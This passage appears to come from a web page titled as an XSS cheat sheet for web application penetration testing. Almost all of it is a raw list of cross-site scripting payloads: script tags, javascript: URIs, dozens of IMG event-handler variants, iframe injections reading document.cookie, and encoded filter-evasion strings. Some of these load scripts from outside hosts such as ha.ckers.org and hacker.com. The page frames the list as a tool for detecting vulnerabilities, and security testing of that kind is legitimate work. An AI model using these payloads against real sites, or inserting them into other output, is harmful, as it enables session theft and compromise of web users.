TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”> <TABLE BACKGROUND=”javascript:alert(‘XSS’)”> <TD BACKGROUND=”javascript:alert(‘XSS’)”> <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> <DIV STYLE=”width: expression(alert(‘XSS’));”> <OBJECT TYPE=”text/x-scriptlet” DATA=”http://hacker.com/xss.html”> <EMBED SRC=”http://hacker.com/xss.swf” AllowScriptAccess=”always”> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> '';!–"<XSS>=&{()} <SCRIPT>alert('XSS')</SCRIPT> <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <BASE HREF="javascript:alert('XSS');//"> <BGSOUND SRC="javascript:alert('XSS');"> <BODY BACKGROUND="javascript:alert('XSS');"> <BODY ONLOAD=alert('XSS')> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> <DIV STYLE="width: expression(alert('XSS'));">

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onended="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
<META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)";
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<INPUT TYPE="BUTTON" action="alert('XSS')"/>
"><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
"></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF
"><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="alert(document.cookie)"></IFRAME>123</h1>
"><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123</h1>
><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr
g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
<IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME>
"><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
"><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
<iframe src=http://xss.rocks/scriptlet.html <
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<iframe src="&Tab;javascript:prompt(1)&Tab;">
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<sVg><scRipt >alert&lpar;1&rpar; {Opera}
<img/src=`` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=``&NewLine; onerror=alert(1)&NewLine;

XSS attacks could cause a serious threat to web applications based on the malicious code injected by the hackers. The XSS cheat sheet provides you with a list of snippets to be used in detecting XSS vulnerabilities.

Top 500 Most Important XSS Script Cheat Sheet for Web Application Penetration Testing

Defend malware Attacks

Most Important XSS Cheat Sheet

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